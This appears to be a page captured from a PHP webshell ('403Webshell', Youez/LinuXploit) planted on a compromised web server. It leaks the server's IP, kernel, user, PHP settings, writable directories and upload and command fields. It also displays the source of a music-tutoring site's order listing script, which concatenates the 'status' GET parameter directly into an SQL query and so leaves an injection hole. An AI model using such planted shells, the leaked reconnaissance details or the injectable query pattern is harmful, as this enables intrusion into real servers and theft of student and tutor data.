403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/m.musiccircle/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/m.musiccircle/order_index.php
<?php
	include('_init.php');

	if ($_SESSION["is_student"] != 1 && $_SESSION["is_tutor"] != 1) {
		header("Location: index.php");
		exit;
	}

	$sql         = "select profile_id,user_id from `profile_user` as tb where user_id = ? and deleted = ? LIMIT 1";
	$parameters  = array($_SESSION['cmsloginid'], 0);
	$row_profile = bind_pdo($sql, $parameters, "selectone");

	if ($row_profile['profile_id'] == 4 || $row_profile['profile_id'] == 3) {
		if ($_GET['status']) {
			if ($_GET['status'] == 'process') {
				$exsql = 'and status in ("process","approved")';
			} else {
				$exsql = 'and status = "' . $_GET['status'] . '"';
			}
		}
		if ($row_profile['profile_id'] == 4) {
			$sql99        = "select id from `student_main` where cmsloginid = ? LIMIT 1";
			$parameters99 = array((int)$row_profile['user_id']);
			$row_user     = bind_pdo($sql99, $parameters99, "selectone");
			$sql          = "select * from `order` where studentmain_id = ? and deleted = ? " . $exsql . " order by createdate desc";
		} else if ($row_profile['profile_id'] == 3) {
			$sql99        = "select id from `tutor_main` where cmsloginid = ? LIMIT 1";
			$parameters99 = array((int)$row_profile['user_id']);
			$row_user     = bind_pdo($sql99, $parameters99, "selectone");
			$sql          = "select * from `order` where tutormain_id = ? and deleted = ? " . $exsql . " order by createdate desc";
		}
		$parameters     = array($row_user['id'], 0);
		$all_order_info = bind_pdo($sql, $parameters, "selectall");
	} else {
		$all_order_info = get_order();
	}
?>
<!DOCTYPE html>
<html lang="en">
<head>
	<?php include('_head.php'); ?>
	<link href="css/style_k.css?v=<?= time(); ?>" type="text/css" rel="stylesheet">
</head>

<body>
<?php include('_header.php') ?>

<?php include('_dialog.php') ?>

<div class="ProfileContent">
	<div class="Profilecontainer">
		<div class="row">
			<div class="col-md-12">
				<div class="scroll_left_right_container">
					<div class="scroll_left_right" style="z-index: 99999;"><img src="<?=$site_info["url"]?>/img/scroll_left_right.png"></div>
				</div>

				<div class="table-responsive" style="margin-bottom: 50px;">
					<table id="example2" class="table table-bordered table-hover datatable-with-filter">
						<thead>
						<tr>
							<th style="min-width: 100px"><?= lang("Order No.") ?></th>
							<!--<th style="min-width: 100px"><?/*= lang("Job No.") */?></th>
							<th style="min-width: 100px"><?/*= lang("Tutor Name") */?></th>-->
							<th style="min-width: 100px"><?= lang("Student Name") ?></th>
							<th style="min-width: 100px"><?= lang("上課地區") ?></th>
							<!--<th class="no-filter nowarp"><?/*= lang("Total") */?></th>
							<th class="no-filter" style="width: 80px"><?/*= lang("狀態") */?></th>-->
							<th class="no-filter" style=""></th>
						</tr>
						</thead>
						<tbody>
						<?php
							foreach ($all_order_info as $row) {
								//Status
								if (isset($_GET["show"]) && !empty($_GET["show"])) {
									$show = "&show=all";
								} else {
									$show = "";
								}
								$row_tutor   = get_tutor($row['tutormain_id']);
								$row_student = get_student($row['studentmain_id']);
								if ($row['order_type'] == 'course') {
									$row_job                  = get_teacherpostjob($row['job_id']);
									$row_residence["name_cn"] = $row_job['address_cn'];
								} else {
									$row_job       = get_studentpostjob($row['job_id']);
									$sql           = "select name_cn,name_en from master_type_code where id = ? and typeid = 'TEACH_POSITIONCODE' LIMIT 1";
									$parameters    = array($row['mas_residencecode']);
									$row_residence = bind_pdo($sql, $parameters, "selectone");
								}
								$sql            = "select name_cn,name_en from master_type_code where id = ? and typeid = 'INSTRUMENT' LIMIT 1";
								$parameters     = array($row_job['mas_instrument']);
								$row_instrument = bind_pdo($sql, $parameters, "selectone");

								//check if not read notification
								$sql        = "select count(*) as unread from notification where table_name = ? and table_id = ? and cmsloginid = ? and deleted = ? and `read` = ? and read_date is null";
								$parameters = array("order", $row['id'], $_SESSION["cmsloginid"], 0, 0);
								$result                  = bind_pdo($sql, $parameters, "selectone");

								$style = "";
								if($result["unread"] >= 1){
									$style = "color: #CC1342; font-weight: bold;";
								}
								?>
								<tr style="<?=$style?>">
									<td class='listtxt' style='padding-left:5'><a href="order_form.php?id=<?= $row['id'] ?>" style="<?=$style?>"><?= short_code($row["order_no"], 2, -5) ?></a></td>
									<!--<td class='listtxt' style='padding-left:5'><?/*= $row_job['postjob_no'] */?>
										- <?/*= $row_instrument['name_cn'] */?></td>
									<td><?/*= $row_tutor["tutor_no"] */?>
										- <?/*= $row_tutor["nickname"] */?></td>-->
									<td><?= $row_student["contactname"] ?></td>
									<td style="word-wrap: break-word;"><?= $row_residence["name_cn"] ?></td>
									<!--<td class="nowarp"><?/* if ($row_profile['profile_id'] == 3 && $row['status'] == 'process') { */?>-<?/* } else { */?>$ <?/* if ($row_profile['profile_id'] == 3) {
											echo intval($row['total_fee']);
										} else {
											echo intval($row['total_fee']) - intval($row['coupon_fee']);
										}
										} */?></td>
									<td class="nowarp"><?/*= get_order_status($row['status']) */?></td>-->
									<td class="tr">
										<div class="btn-group">
											<?php
												/*$sql        = "select count(*) as tutored_num from order_detail where order_id = ? and tutor_status = ?";
												$parameters = array($row["id"], 1);
												$result     = bind_pdo($sql, $parameters, "selectone");

												if ($result["tutored_num"] > 0 && $row["course_count"] > 0 && $result["tutored_num"] == $row["course_count"] && ($_SESSION["cmsrole"] == "super_admin" || $_SESSION["cmsrole"] == "admin" || $_SESSION["is_student"])) {
													?>
													<a href="evaluation_form.php?order_id=<?= $row['id'] ?>" class="btn btn-sm btn-warning" title="<?= _lang("Evaluation Form") ?>">
														<i class="fa fa-file-text-o" aria-hidden="true"></i>

													</a>
													<?php
												}*/
											?>

											<a href="order_form.php?id=<?= $row['id'] ?>" class="btn btn-sm btn-primary">
												<i class="fa fa-pencil" aria-hidden="true"></i> </a>
										</div>
									</td>
								</tr>
							<?php } ?>
						</tbody>

					</table>
				</div>

			</div>
		</div>
	</div>
</div>
<? include('_footer.php') ?>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit